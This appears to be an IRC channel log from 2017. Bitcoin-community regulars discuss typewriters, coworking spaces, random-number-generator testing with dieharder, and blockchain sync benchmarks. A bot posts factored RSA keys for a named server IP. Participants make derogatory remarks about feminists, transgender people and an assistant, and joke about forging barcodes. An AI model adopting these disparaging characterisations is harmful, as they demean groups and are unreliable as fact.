1645138;1492454083;ben_vulpes;origin story of this particular side quest is that i wanted to remove things from a list without having to jump through the hoops of remove and erase by using std::list remove_if 1645139;1492454122;asciilifeform;pretty sure you still gotta destroy the object somehow 1645140;1492454140;asciilifeform;( and the idiot made this ~impossible to do cleanly for most of'em ) 1645141;1492454397;mircea_popescu;this adds ben_vulpes to the list of people who seriously considered the matter of snipping trbn into shape, came to ~same conclusion, ie that rewrite is unavoidable. 1645142;1492454403;mircea_popescu;which is how trb-i even became an item. 1645143;1492455575;asciilifeform;not unrelatedly, asciilifeform now has a working mmap glue for ada. 1645144;1492455601;asciilifeform;( adacore's was terrible, bulky, winblowz-fallback-containing, and overall unpleasant ) 1645145;1492455614;ben_vulpes;sweet deal 1645146;1492458125;phf;i decided to check out one of those communal work coffee shops, and you get every single stereotype here: startup bros, tinder date in progress, political feminists discussing next protest, but what takes the cake is a guy with a typewriter. 1645147;1492458159;mircea_popescu;what is one of those communal work coffee shops ? 1645148;1492458182;mircea_popescu;and i hope it was a Leika typewriter. 1645149;1492458211;asciilifeform;typewriter?! 1645150;1492458219;phf;i shit thee not(tm) 1645151;1492458220;asciilifeform;as in, mechanical, underwood? 1645152;1492458235;phf;correct 1645153;1492458237;asciilifeform;nuts. 1645154;1492458238;mircea_popescu;i should have kept all those ancient electric ones, made a fortune selling them to hipsters door to door. 1645155;1492458250;*;asciilifeform scrapped his years ago 1645156;1492458254;*;mircea_popescu is old enough to remember the days business ~= telex. 1645157;1492458256;asciilifeform;i still got the dotmatrix printers tho 1645158;1492458265;asciilifeform;and the paper. 1645159;1492458267;mircea_popescu;put that in your "three year experience" pipe an' smoke it. 1645160;1492458274;mircea_popescu;asciilifeform those were actually good. 1645161;1492458277;asciilifeform;aha! 1645162;1492458286;asciilifeform;never really obsoleted, imho 1645163;1492458291;asciilifeform;laser dun replace'em 1645164;1492458304;asciilifeform;( go and make a ~scroll~ with laser printer. ) 1645165;1492458304;mircea_popescu;notrly. tractor lister job, 1k pages+, let it do its thing come back in morning. 1645166;1492458308;asciilifeform;^^ 1645167;1492458313;mircea_popescu;current replacement pos jams 100%. 1645168;1492458320;asciilifeform;there ain't a replacement. 1645169;1492458321;phf;i remember when laser was a status symbol.. 1645170;1492458328;asciilifeform;nobody makes a tractor inkjet any more 1645171;1492458336;asciilifeform;phf: i also remember when colour laser was, not so long ago 1645172;1492458342;asciilifeform;but i got one for 25bux in scrap shop. 1645173;1492458344;asciilifeform;and it runs. 1645174;1492458359;asciilifeform;( the FUCKGOATS schematics you get in the parcel, came out of it ) 1645175;1492458432;phf;but yeah a communal work coffee shop is a space that advertises itself as a coffee shop, but mostly consists of permanently parked people with laptops. i'd say about 7-10 years ago it suddenly was hip to work from coffee shop? 1645176;1492458434;asciilifeform;gotta wonder, why would anybody drag a typewriter to a cafe 1645177;1492458465;asciilifeform;... demonstratively, loudly show off 'see me write!111' ? 1645178;1492458535;phf;i have a writer friend who claims typewriters keep him focused on task at hand, but in this case he purchased one of those radioshack devices, keyboard with 64k of text storage 1645179;1492458545;asciilifeform;those are great 1645180;1492458550;asciilifeform;because Not A Computer 1645181;1492458572;asciilifeform;!#s alphasmart 1645182;1492458572;a111;0 results for "alphasmart", http://btcbase.org/log-search?q=alphasmart 1645183;1492458574;asciilifeform;hm. 1645184;1492458585;asciilifeform;!~google alphasmart 1645185;1492458586;jhvh1;asciilifeform: Amazon.com: Alphasmart Alpha Smart 3000 Word Processing ...: ; Amazon.com: Alphasmart Neo - Handheld: Office Products: ; AlphaSmart - Wikipedia: 1645186;1492458594;phf;i'm pretty sure we had one or two threads, but about a different device 1645187;1492458597;asciilifeform;^ cult classic gadget 1645188;1492458604;asciilifeform;there are several of these, aha 1645189;1492458636;asciilifeform;plain ascii text entry thing, that runs for months off a set of 'aa' batteries 1645190;1492458649;asciilifeform;no network, no removable disks 1645191;1492458661;asciilifeform;( to get text ~out~, you plug it in, and it emulates a keyboard, 'types' ) 1645192;1492458669;phf;!#s nec pc8201a 1645193;1492458670;a111;1 result for "nec pc8201a", http://btcbase.org/log-search?q=nec%20pc8201a 1645194;1492458697;phf;http://btcbase.org/log/2015-06-30#1181886 1645195;1492458697;a111;Logged on 2015-06-30 18:30 ascii_field: ' the NEC still wins over most portable computers of any time for the quality of its keyboard. This is a machine for typing on, and producing content, not for consuming content... Even now, nearly 30 years after production, it still works perfectly. The larger capacity modern rechargeable AA cells means that four of these will keep it running for weeks. Astonishing battery life compared with modern devices.' 1645196;1492458698;doppler;asciilifeform: and some of them ran palm OS and had wireless networking :) 1645197;1492458705;asciilifeform;http://btcbase.org/log/2015-06-30#1181883 << that one was a (small) real comp tho, phf 1645198;1492458705;a111;Logged on 2015-06-30 18:29 ascii_field: http://www.hembrow.eu/personal/necpc8201a.html 1645199;1492458756;asciilifeform;and in fact most '80s-early '90s portables had unspeakably great (by today's standards) keyboards. 1645200;1492458802;asciilifeform;'alphasmart' had a terrible keyboard, similar to late '90s crapple. it was originally made for schoolchildren. but it remains cult classic among certain folx. 1645201;1492458892;phf;for any consumer device in a set of all consumer devices, there exists at least one very eager japanese collector 1645202;1492458977;asciilifeform;it is imho interesting (and this is, yes, not the 1st or 2nd thread re subj) that the niche of 'comp that runs on batteries for month' is a niche wholly unfilled by 'modern' crapolade 1645203;1492458990;asciilifeform;and if you want one, you gotta hunt on 'ebay' etc. for years. 1645204;1492459566;*;phf ding 1645205;1492460800;ben_vulpes;https://www.youtube.com/watch?v=czxZk5CFz4k 1645206;1492461001;asciilifeform;lol 1645207;1492461056;asciilifeform;doppler: i have all of the 'alphasmart' boxes, from 1st to last, the 'palm' one indeed took sd cards (two, no less, even) and had infrared diode. 1645208;1492461072;asciilifeform;its only serious plus was the bigger lcd. 1645209;1492461143;asciilifeform;!~later tell mircea_popescu noticed that 'wot' link on trilema www is still ye olde mike_c wot 1645210;1492461143;jhvh1;asciilifeform: The operation succeeded. 1645211;1492462034;mats;phf: is the coffee shop like these coworking spaces? http://workbar.com 1645212;1492462156;asciilifeform;they have these in dc also. 1645213;1492462160;asciilifeform;http://btcbase.org/log/2015-09-21#1281330 << last thread iirc 1645214;1492462160;a111;Logged on 2015-09-21 21:39 phf: mostly amusing, at the local coworking i've probably seen all the stereotypes in flesh. girls with social sciences ph.d. doing research projects, guys pushing feminist rhetoric in every conversation, black transgender talking about white oppression, all manner of "you can do anything" mentality. it's like irl tumblr out there 1645215;1492462192;phf;same principle 1645216;1492462496;phf;i think you had office share for a long time (places like Regus), then around early hackernews you had the whole "working from coffee shop" fad. some places started recognizing the fad and catering to that crowd. at some point somebody had an "idea" to update office share image by adding the necessary signaling of the work from coffee shop "culture". actually this coffee shop i'm at (http://www.trystdc.com) predates recent iteration of coworking s 1645217;1492462496;phf;paces. i worked from here in 2005 or so "building startup" 1645218;1492462932;asciilifeform;phf: i've been there 1645219;1492462957;asciilifeform;but only once, and did not notice the 'culture' 1645220;1492462971;asciilifeform;just got a drink, was all. 1645221;1492463079;phf;i used to promote a bar in the same block (tom tom's, closed now), so i used to spend a lot of time in this area 1645222;1492463369;ben_vulpes;130/mo for hot desk, not actually too bad 1645223;1492463389;ben_vulpes;but you have to go up to 350/mo for 24/7 access 1645224;1492463414;ben_vulpes;minimum buy 1.2/mo for 'office' 1645225;1492463435;phf;ben_vulpes: the two big coworking places in dc are https://www.wework.com and https://www.1776.vc 1645226;1492463451;ben_vulpes;there is a wework right down the street 1645227;1492463481;ben_vulpes;it has stapled shameful brass brand plates onto the beautiful old customs building 1645228;1492463655;phf;i've never been to wework, but 1776 is lulzy. last time i was there they had a talk "difficulties facing female CEOs" to a roomful. they also have regular classes like "learning how to program, with ruby on rails" etc. 1645229;1492463711;mats;heh 1645230;1492463742;asciilifeform;this always seemed surreal to asciilifeform -- like paying to be sat in jail 1645231;1492463761;ben_vulpes;relatedly, i recently saw a pitch for a very 'colorful' animated tv show (?) that would teach children the basics of html/css/js 1645232;1492463767;ben_vulpes;child abuse i tell you 1645233;1492463806;ben_vulpes;(but this is asciilifeform's line...) 1645234;1492463830;phf;i'm not even trying with these things, their current "events" page, https://www.1776.vc/events/break-into-web-development/ and https://www.1776.vc/events/digital-transformation-empowering-people-organizations-in-a-changing-world/ 1645235;1492463849;ben_vulpes;> break into the community 1645236;1492463895;mats;https://www.eventbrite.com/e/the-art-of-giving-a-tedx-talk-tickets-32306198710 1645237;1492463919;mats;workbar event on 'The Art of Giving a TEDx Talk' 1645238;1492463944;ben_vulpes;thing is terrifyingly long-lifed 1645239;1492464280;phf;mats: that's beautiful 1645240;1492464413;phf;look at the colouration on its wings, the segmentation of thorax 1645241;1492465493;mats;at least its free 1645242;1492466093;ben_vulpes;if your time has no value :D 1645243;1492469059;asciilifeform;in other noose... LYSO ( cerium-doped lutetium yttrium orthosilicate ) scintillator is apparently just the thing for rng. 1645244;1492469159;asciilifeform;incl. not needing a gamma source ( Lu-175, stable, is ~97.4% abundant, remainder is mostly Lu-176, 3.8e10 yr. halflife, ~1.2MeV gamma ) 1645245;1492469222;asciilifeform;thing fluoresces at 428nm peak. 1645246;1492469227;asciilifeform;so now the mega-question is the obvious one: 1645247;1492469277;asciilifeform;can you do http://btcbase.org/log/2017-04-04#1636960 by 1) taking 2 of these 2) letting'em 'fuck', i.e. mating open ends of the crystals together, and seeing if same output. 1645248;1492469277;a111;Logged on 2017-04-04 04:00 asciilifeform: ( now, good q is 'why do this?' and answer is -- 'you get analogue rng that is VERIFIABLE, just like the digital board in fg.' because you can pick up decay from below/above the board !!) 1645249;1492469317;asciilifeform;( believe it or not, pieces of LYSO are commercially available and sold in massive qty, they are used in cosmic ray telescopy ) 1645250;1492469515;asciilifeform;http://www.ultreo.com/images/scintillators1.jpg << subj. 1645251;1492469539;asciilifeform;https://srs.fbk.eu/sites/srs.fbk.eu/files/styles/adaptive/public/sipm_lyso_22mm_0.jpg << subj epoxied to photodiode. 1645252;1492469671;asciilifeform;http://physicsopenlab.org/2016/02/19/sipm-as-gamma-scintillation-detector << spectra and moar. 1645253;1492471438;mircea_popescu;http://btcbase.org/log/2017-04-17#1645175 << oh so a starbucks ? 1645254;1492471438;a111;Logged on 2017-04-17 19:47 phf: but yeah a communal work coffee shop is a space that advertises itself as a coffee shop, but mostly consists of permanently parked people with laptops. i'd say about 7-10 years ago it suddenly was hip to work from coffee shop? 1645255;1492471458;mircea_popescu;asciilifeform good point. what's the cannonical place i forget ? 1645256;1492471690;asciilifeform;mircea_popescu: which place 1645257;1492471699;mircea_popescu;asciilifeform> noticed that 'wot' link on trilema www is still ye olde mike_c wot 1645258;1492471702;asciilifeform;aaah 1645259;1492471707;asciilifeform;trinque's , i think 1645260;1492471718;asciilifeform;http://wot.deedbot.org << 1645261;1492471742;mircea_popescu;someone was making a visual explorer worked pretty well. 1645262;1492471776;mircea_popescu;http://wot.deedbot.org/M.html << this shit's pretty sweet also. who had the visualiser, ben_vulpes ? 1645263;1492471795;asciilifeform;i thought ^this ~was~ the visualizer 1645264;1492471824;mircea_popescu;no, was graphical. 1645265;1492471829;asciilifeform;ah hm 1645266;1492471833;asciilifeform;ben_vulpes ? 1645267;1492471850;mircea_popescu;also the various presets on mike's thing were good, with the weighted averages he had. 1645268;1492471874;ben_vulpes;nono, trinque 1645269;1492471897;ben_vulpes;trinque's visualizer lives at http://wot.deedbot.org/ 1645270;1492471912;mircea_popescu;gotta integrate all these into a thing 1645271;1492471930;ben_vulpes;well visualizer of 'M' doesn't mean much 1645272;1492471934;*;asciilifeform idly wonders what % of the thing, by mass, is otc randos rating other otc randos in 2011 era 1645273;1492471944;ben_vulpes;http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.html << visualizer in action 1645274;1492472061;mircea_popescu;epic shit 1645275;1492472061;mircea_popescu;sorry for not linking it sooner. 1645276;1492472372;mod6;update: 453K+ blocks, into blk0050... the last one I had. 1645277;1492472384;mod6;should be done soon. will publish the results complete with nmon charts. 1645278;1492472392;asciilifeform;mod6: remind me plz what this was 1645279;1492472410;asciilifeform;eatblock time plot ? 1645280;1492472418;mod6;the offline eatblock of entire chain (or at least what I had before was getting blackholed) 1645281;1492472421;asciilifeform;aaah neato. 1645282;1492472421;mod6;yup. 1645283;1492472437;mod6;also, collected another 1.1Gb of entropy from fg since yesterday. 1645284;1492472450;asciilifeform;also neato 1645285;1492472459;mod6;running ent & dh on the output file. this was produced from the same fg unit that the blog was covering. 1645286;1492472464;asciilifeform;incidentally the moar, the merrier, many of the tests still loop at 1G. 1645287;1492472472;asciilifeform;(ask dieharder author why, not me) 1645288;1492472489;asciilifeform;tbh, imho it is quite ridiculous to loop the input. 1645289;1492472618;asciilifeform;it probably explains oddities like http://btcbase.org/log/2017-04-16#1644367 . 1645290;1492472618;a111;Logged on 2017-04-16 03:45 asciilifeform: ( unrelatedly -- http://wotpaste.cascadianhacker.com/pastes/jtwkB/?raw=true << 1G of bytes from /dev/urandom on linux 4.2.3 . ) 1645291;1492472978;asciilifeform;http://www.global-mind.org << in other 'parody? or not..' lulz ! 1645292;1492473004;asciilifeform;'The Global Consciousness Project Meaningful Correlations in Random Data ...when a great event synchronizes the feelings of millions of people, our network of RNGs becomes subtly structured....' 1645293;1492473021;asciilifeform;didjaknow!!1 1645294;1492473131;asciilifeform;in yet-other lulz, the tardano makers don't sleep, http://ubld.it/products/truerngpro << New! Improved! with two... soldered-down shields. and oscillating voltage booster right on the pcb. 1645295;1492473542;mod6;Here are my results from the second run from the 1st FG tested: http://www.mod6.net/fg/fg-test/fg1.ent_run2.txt http://www.mod6.net/fg/fg-test/fg1.dieharder_run2.txt 1645296;1492473599;mod6;I'm going to collect one more 1Gb+ from this 1st FG, run the ent & dh again, and then move on to the next one. Results should be done in ~24hrs. 1645297;1492473619;asciilifeform;neato mod6 . 1645298;1492473626;asciilifeform;incidentally how did you power yours ? 1645299;1492473632;asciilifeform;(usb hub ? direct plug into pc ?) 1645300;1492473651;asciilifeform;if using hub -- be sure to use powered hub. 1645301;1492473689;mircea_popescu;asciilifeform seems looping over 1g is rather nonsensical. 1645302;1492473706;asciilifeform;mircea_popescu: dieharder's ~tests~ loop. 1645303;1492473714;mircea_popescu;i know. and i don't see why they would. 1645304;1492473721;mircea_popescu;which is why i said should prolly talk to guy see what he says 1645305;1492473732;mod6;I'm using the USB-TTL cable that I bought, separate from the one shipped with the fg. There's a picture of the connection up close in the blog post. It is plugged directly into the computer. 1645306;1492473738;asciilifeform;mircea_popescu wouldja try and get him in here ? pretty pleez? 1645307;1492473745;mircea_popescu;i dont have an email! 1645308;1492473745;asciilifeform;mod6: nice. 1645309;1492473763;asciilifeform;hanbot around? 1645310;1492473763;mod6;lemme see if I can dig him up 1645311;1492473839;mod6;rgb@phy.duke.edu 1645312;1492473857;mircea_popescu;win. 1645313;1492473870;mod6;(Robert G. Brown) 1645314;1492473918;mod6;copyright at this www.phy.duke.edu/~rgb/General/dieharder.php page is denoted as 2017, so he must still be ~somewhat~ active. 1645315;1492473948;mod6;version listed at the site is 3.31.1, which is the same version I'm using. 1645316;1492473964;mod6;(see posted output files on my site) 1645317;1492473984;mircea_popescu;http://btcbase.org/log/2017-04-17#1645221 << were you any good at that ? 1645318;1492473984;a111;Logged on 2017-04-17 21:04 phf: i used to promote a bar in the same block (tom tom's, closed now), so i used to spend a lot of time in this area 1645319;1492474041;asciilifeform;mod6: i have 3.31.1 also. 1645320;1492474053;mod6;ok good to know. 1645321;1492474090;mircea_popescu;http://btcbase.org/log/2017-04-17#1645236 ><< speaking of, there's a whole "ted talks costa rica" "culture". 1645322;1492474090;a111;Logged on 2017-04-17 21:18 mats: https://www.eventbrite.com/e/the-art-of-giving-a-tedx-talk-tickets-32306198710 1645323;1492474471;asciilifeform;prng, e.g., aes(aes(...(0))) , or urandom, etc. give uniform distrib. and quickly ideal montecarlo for 'pi', etc. but , interestingly, same sort of dieharder out as FG, in that the level of 'happy' is directly proportional to the size of the collected blob, or rather, inversely proportional to # of the idiot rewinds. 1645324;1492474496;asciilifeform;http://qubit.lncc.br/trng << this d00d must have been very frustrated. i wonder if he understood the above. 1645325;1492474585;asciilifeform;now at the rate dh eats bytes, a fully rewind-free test of, e.g., FG would take... 1645326;1492474596;asciilifeform;~6 years. 1645327;1492474961;asciilifeform;http://archive.li/SnwEH << recall these ? << illustration of the rewind thing. 1645328;1492477393;mod6;<+asciilifeform> http://archive.li/SnwEH << recall these ? << illustration of the rewind thing. << ah, interesting. who ran that, anyone recall? 1645329;1492477440;asciilifeform;!#s http://wotpaste.cascadianhacker.com/pastes/ehdip/?raw=true 1645330;1492477440;a111;1 result for "http://wotpaste.cascadianhacker.com/pastes/ehdip/?raw=true", http://btcbase.org/log-search?q=http%3A%2F%2Fwotpaste.cascadianhacker.com%2Fpastes%2Fehdip%2F%3Fraw%3Dtrue 1645331;1492477455;asciilifeform;looks like it was ben_vulpes 1645332;1492477673;mod6;i wonder if that was the one from osx. 1645333;1492477718;asciilifeform;mod6: my point was, small samples look like shit on dh, because 1000s of 'rewind' 1645334;1492477722;asciilifeform;regardless of where you got'em 1645335;1492477731;mod6;ah 1645336;1492477764;asciilifeform;and, apparently, the same tests weaken/fail in proportion to rewinds, regardless of whose rng you used, or even prng. 1645337;1492477770;asciilifeform;which i find quite odd. 1645338;1492477813;asciilifeform;( i am speaking here strictly of rngs which ~do~ eventually converge -- as defined by 100% 'pass' -- at some realistically attainable sample size. ) 1645339;1492477954;asciilifeform;dh also does a very, imho, questionable thing, of throwing away most of the input (yes) on account of insisting on using new segment of the input for each test 1645340;1492477973;ben_vulpes;that last tidbit is interesting 1645341;1492477999;ben_vulpes;also the weakening tests 1645342;1492478008;asciilifeform;ben_vulpes: try it yourself 1645343;1492478018;asciilifeform;(with urandom or whatever else is in your box conveniently) 1645344;1492478019;mod6;wonder if the intent is to provide greater coverage of the pool 1645345;1492478029;asciilifeform;mod6: i still have 0 idea why author did this. 1645346;1492478030;mod6;even if, misguided. 1645347;1492478038;asciilifeform;it'd be easy to patch around. but i wanted to begin with classical dh. 1645348;1492478040;ben_vulpes;the last one strikes me as terrible experimental design 1645349;1492478047;asciilifeform;ben_vulpes: i quite agree 1645350;1492478077;mod6;i'd like to have the discussion with rgb himself and see what the intent was there. 1645351;1492478098;ben_vulpes;sure yeah 1645352;1492478099;asciilifeform;that would be pretty neat. 1645353;1492478110;*;ben_vulpes bbl, BABIES 1645354;1492478118;mod6;l8r 1645355;1492478134;asciilifeform;the sad thing is, dh was mostly used historically to test prng. so the 'waste' was, i picture, not seen as problem. 1645356;1492478329;mod6;I think I just reached the end of my eatblock test... 1645357;1492478345;asciilifeform;congrats mod6 1645358;1492478345;mod6;height=454254 1645359;1492478359;asciilifeform;lessee the numberz! 1645360;1492478400;mod6;aight, lemme work on getting a post put up here. 1645361;1492478485;mod6;9181:40 = ~6.375 days 1645362;1492478512;asciilifeform;this was on a what? 1645363;1492478565;mod6;2x Xeon 5650 (24 core) / 64Gb RAM / Kingston 1Tb SSD 1645364;1492478579;mod6;ok 1645365;1492478584;asciilifeform;^ all but the last is mostly wasted on trb 1645366;1492478597;mod6;yah. this thing is like single thread. 1645367;1492478610;mod6;save your lulz for the charts 1645368;1492478616;asciilifeform;yeah, i'ma bbl. 1645369;1492478752;mod6;ok c-ya 1645370;1492479302;mircea_popescu;asciilifeform> which i find quite odd. << 1645371;1492479360;mircea_popescu;mod6 killing it with the quality blog posts 1645372;1492480687;mircea_popescu;!!up joerose72 1645373;1492480687;deedbot;joerose72 voiced for 30 minutes. 1645374;1492484674;asciilifeform;in other lulz, https://archive.is/5L7Ov >> BingoBoingo , qntra ? 1645375;1492484723;asciilifeform;( https://archive.is/5L7Ov/image gets rid of the js idiocy ) 1645376;1492484800;mircea_popescu;eh, bitfinex. 1645377;1492485027;*;asciilifeform was a little surprised to learn that it was yet alive 1645378;1492485089;mircea_popescu;pretty much been trying to ride the news since day 0. sorta like the divorcee in rhodes island pretending she can't sleep because she's heard all the new york chicks got insomnia. 1645379;1492485555;*;trinque been out all day, replacing shitty broken laptop 1645380;1492485583;trinque;x1 carbon's got bad ram, actually freezes its own firmware memory test. 1645381;1492485598;mircea_popescu;o.O 1645382;1492485636;trinque;gives one fail on "address test" before it's gone for good. 1645383;1492485664;trinque;I put one of those new AMD chip boxes together today; no moar thinputers. 1645384;1492485708;trinque;mircea_popescu: wot.deedbot.org is my wotviz thinger, needs an SVG capable browser and not much else 1645385;1492485718;mircea_popescu;yes it is splendid. i linked it. 1645386;1492485724;trinque;ah cool 1645387;1492485748;*;trinque on 80char black and white display atm. obsd doesn't know what to do with this gpu 1645388;1492485748;mircea_popescu;no idea why i didn't before, but anyway. doesn't seem to have gone down from it either, so all good. 1645389;1492485758;asciilifeform;trinque: is that one of those boxes with soldered-down ram ? 1645390;1492485767;trinque;asciilifeform: but of course 1645391;1492485829;asciilifeform;ain't cheap, either. was there an up-side? 1645392;1492485948;trinque;got suckered in by the display resolution, 2560 by something. 1645393;1492485952;trinque;great fonts 1645394;1492485973;trinque;but no, that was the last purchase of that kind of item. 1645395;1492486077;mircea_popescu;getting rid of the whole "laptop" paradigm is great for both wrists and productivity anyways. 1645396;1492486109;asciilifeform;the big one was decent (w540) 1645397;1492486150;asciilifeform;still not a real comp, but you can't fit a real comp in airplane tray 1645398;1492486186;asciilifeform;no soldered-down ram, fwiw. 1645399;1492486195;asciilifeform;(even cpu -- removable) 1645400;1492486209;mircea_popescu;what % of your time last year did you spend in an airplane and what exactly would have happened had you taken a nap / chatted up random chicks / thought about your nails for the interval. 1645401;1492486240;asciilifeform;me -- ~none. but i also didn't use the stinkpad that year. 1645402;1492486309;mircea_popescu;i spent what, 0.3% or so of this year in airplane. had thinkpad with multiple batteries loaded up with films etc by diligent travel assistant / cocksucker. in the overhead tray it stayed. 1645403;1492487677;deedbot;http://qntra.net/2017/04/buttfunexs-fiat-banking-partners-move-towards-becoming-exs/ << Qntra - Buttfunex's Fiat Banking Partners Move Towards Becoming Ex's 1645404;1492487716;BingoBoingo;Ex's in the Butt Fun! 1645405;1492488330;BingoBoingo;In other derp: "The researchers dubbed the reorganization an act of "rapid river piracy," saying that such events had often occurred in the Earth's geologic past, but never before, to their knowledge, as a sudden present-day event. They also called it "geologically instantaneous."" << Ignoring... The Mississippi River's frequent rerouting since the days the French found it. 'Member when the Illinois state capital was in Kaskaski, 2010 ce 1645406;1492488330;BingoBoingo;nsus population 14' 1645407;1492490185;pete_dushenski;asciilifeform: 0 word re where it was for ~2wks << "BitBet Mod 17-04-17 at 14:49 Dear BitBet users, Our apologies for the extended downtime. We underwent a ddos attack, motivated by a rather base extortion attempt (the 4th or 5th this year, but this one was unusually large). We have taken steps with our ISP to buy additional ddos protection capacity and are back to normal operations. All funds under our 1645408;1492490187;pete_dushenski;custody remain - as usual - safe, and as our standard policy dictates, not a single satoshi was paid our to the attackers." (from comment on bitbet page) 1645409;1492490332;pete_dushenski;new bbet policy #1 : communicate with terrorists but don't negotiate with them 1645410;1492490339;pete_dushenski;new bbet policy #2 : don't communicate with users but do negotiate with them 1645411;1492493206;mod6;Alright. 1645412;1492493226;mod6;mircea_popescu, asciilifeform, ben_vulpes, et. al: Eatblock test results & blog post: http://www.mod6.net/eatblock-test/ 1645413;1492493382;mircea_popescu;o look at that slim checkblock 1645414;1492493504;pete_dushenski;http://www.mod6.net/eatblock-test/charts/Memory.png << whoa 1645415;1492493793;mod6;haha 1645416;1492493856;ben_vulpes;pretty cool, barely a week 1645417;1492493889;mod6;thing was /flying/ 1645418;1492493898;mod6;did never started on fire... so that was good. 1645419;1492493901;mod6;*disk 1645420;1492493971;mod6;<+mircea_popescu> o look at that slim checkblock << thought it might be cool to do some perl, parse out the stats, do some calcs & provide. 1645421;1492521430;asciilifeform;http://btcbase.org/log/2017-04-18#1645414 << systemwide free mem is a 100% worthless stat on linux box, if correctly working box -- it'll be ~0 -- disk cache 1645422;1492521430;a111;Logged on 2017-04-18 05:31 pete_dushenski: http://www.mod6.net/eatblock-test/charts/Memory.png << whoa 1645423;1492521488;asciilifeform;mod6: where's the per-block db stall time ? or still perling it out from debug.log? 1645424;1492524985;mircea_popescu;http://btcbase.org/log/2017-04-18#1645420 << might be good to link definitions of "checkblock" etc on the page. 1645425;1492524985;a111;Logged on 2017-04-18 05:39 mod6: <+mircea_popescu> o look at that slim checkblock << thought it might be cool to do some perl, parse out the stats, do some calcs & provide. 1645426;1492525000;mircea_popescu;and yes, what alf says. the per block thing 1645427;1492527813;mod6;lemme take a quick look 1645428;1492528024;mod6;I don't see a "stall time". 1645429;1492528054;mod6;Let me illustrate 1645430;1492528056;asciilifeform;mod6: the read/write times 1645431;1492528074;asciilifeform;y'know, when trb sits like idiot and waits for bdb to disk i/o. 1645432;1492528107;mod6;(btw, the full log is available via the blog), but here's a snippit of one block eaten 1645433;1492528110;mod6;http://p.bvulpes.com/pastes/QCBvH/?raw=true 1645434;1492528126;asciilifeform;where's the db read wait ? 1645435;1492528130;asciilifeform;that was in the last patch 1645436;1492528130;mod6;my checkblock stats are mean/median of all of those values 1645437;1492528154;mod6;accept block, process block, and db write wait. 1645438;1492528184;mod6;that was in the odometer? 1645439;1492528187;asciilifeform;http://therealbitcoin.org/ml/btc-dev/attachments/20170226/asciilifeform_blackhole_reads.vpatch << 1645440;1492528217;asciilifeform;anyway looks like you don't have this 1645441;1492528225;asciilifeform;plot the write times plox ? 1645442;1492528243;asciilifeform;( the avg is not very useful, it includes megatonne of 0/handful-tx blocks from early years) 1645443;1492528271;asciilifeform;so the two curves would be: 1645444;1492528291;asciilifeform;1) total ProcessBlock time (vertical) -- block # (horiz.) 1645445;1492528302;asciilifeform;2) db write wait time (vertical) -- block # (horiz.) 1645446;1492528336;mod6;<+asciilifeform> anyway looks like you don't have this << ahh, sadly, no. 1645447;1492528358;asciilifeform;not a big deal, read+write ~= total ProcessBlock time 1645448;1492528370;asciilifeform;( from my earlier findings . ) 1645449;1492528375;mod6;ok, i'll see what I can do about getting those two curves put together today. 1645450;1492528385;asciilifeform;neato, ty for the sweat mod6 1645451;1492528410;mod6;<+asciilifeform> not a big deal, read+write ~= total ProcessBlock time << makes sense. stangely, i overlooked that last patch 1645452;1492528425;mod6;asciilifeform: np all tall, my pleasure 1645453;1492529476;asciilifeform;in other lulz, 0day in : minicom. >> https://archive.is/fIsCp 1645454;1492530952;mircea_popescu;meanwhile in berkley, http://68.media.tumblr.com/603b50d8351a3ff3b54e4f4ffdc8c702/tumblr_n8nbfqqovl1spdf5ao1_1280.jpg 1645455;1492534138;BingoBoingo;!~ticker --market all 1645456;1492534145;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 1202.0, vol: 5500.07229829 | BTC-E BTCUSD last: 1217.755, vol: 6831.59355 | Bitfinex BTCUSD last: 1263.0, vol: 19196.08120282 | BTCChina BTCUSD last: 1030.177, vol: 3219.74830000 | Kraken BTCUSD last: 1205.6, vol: 2182.4943908 | Volume-weighted last average: 1221.85440241 1645457;1492534263;asciilifeform;BingoBoingo: https://archive.is/m66V5 << lulzies/qntra 1645458;1492534314;BingoBoingo;lulzies, maybe qntra if more relatit shoes drop 1645459;1492534589;deedbot;http://phuctor.nosuchlabs.com/gpgkey/909DFE9E2F3DED604BE70F6DF2B433F01B8893DE2B2FCE532D57511CD10A97BC << Recent Phuctorings. - Phuctored: 1407...9989 divides RSA Moduli belonging to '87.230.33.12 (ssh-rsa key from 87.230.33.12 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (lvps87-230-33-12.dedicated.hosteurope.de. DE NW) 1645460;1492534589;deedbot;http://phuctor.nosuchlabs.com/gpgkey/909DFE9E2F3DED604BE70F6DF2B433F01B8893DE2B2FCE532D57511CD10A97BC << Recent Phuctorings. - Phuctored: 1630...5117 divides RSA Moduli belonging to '87.230.33.12 (ssh-rsa key from 87.230.33.12 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (lvps87-230-33-12.dedicated.hosteurope.de. DE NW) 1645461;1492535354;shinohai;https://fossbytes.com/how-to-make-your-ubuntu-linux-look-like-windows-10/ 1645462;1492535375;ben_vulpes;gross 1645463;1492535391;asciilifeform;ew 1645464;1492535393;asciilifeform;why am i reading this 1645465;1492535441;ben_vulpes;i had a similar experience recently, asciilifeform 1645466;1492535446;ben_vulpes;this showed up in my house: https://www.amazon.com/Activist-Innosanto-Nagara/dp/1609805399 1645467;1492535470;ben_vulpes;and if you thought the ideological brainrot was bad, the writing is /even worse/. 1645468;1492535476;ben_vulpes;which tbqh i did not think was possible 1645469;1492535480;ben_vulpes;t i shit thee not is for trans 1645470;1492535494;asciilifeform;'c is for co-op, cooperating cultures, creative counter to corporate vultures.' 1645471;1492535496;asciilifeform;lol! 1645472;1492535510;ben_vulpes;yeah and corporate is capitalized but vulture oddly not 1645473;1492535518;ben_vulpes;zero rhyme, and let us not speak of the reason. 1645474;1492535548;asciilifeform;where'dya get this 1645475;1492535556;asciilifeform;bought for lulz? 1645476;1492535590;ben_vulpes;no i prohibited spending money on it when i saw the cover for the first time months ago 1645477;1492535603;ben_vulpes;someone else, possibly 2/10 troll 1645478;1492535623;ben_vulpes;one of the $libgirls in $othertown 1645479;1492535650;ben_vulpes;bad bad agitprop masquerading as a children's book 1645480;1492535661;asciilifeform;would be lulzy to make a subtle parody of this masterpiece, and sneak into bookstores, with forged barcode. 1645481;1492535664;asciilifeform;'c is for clit...' 1645482;1492535706;asciilifeform;'i is for islam..' 1645483;1492535706;ben_vulpes;board books are costly, but yes 1645484;1492535717;ben_vulpes;hah uh huh 1645485;1492535797;ben_vulpes;"Kings are fine for storytime./ Knights are fun to play./ But 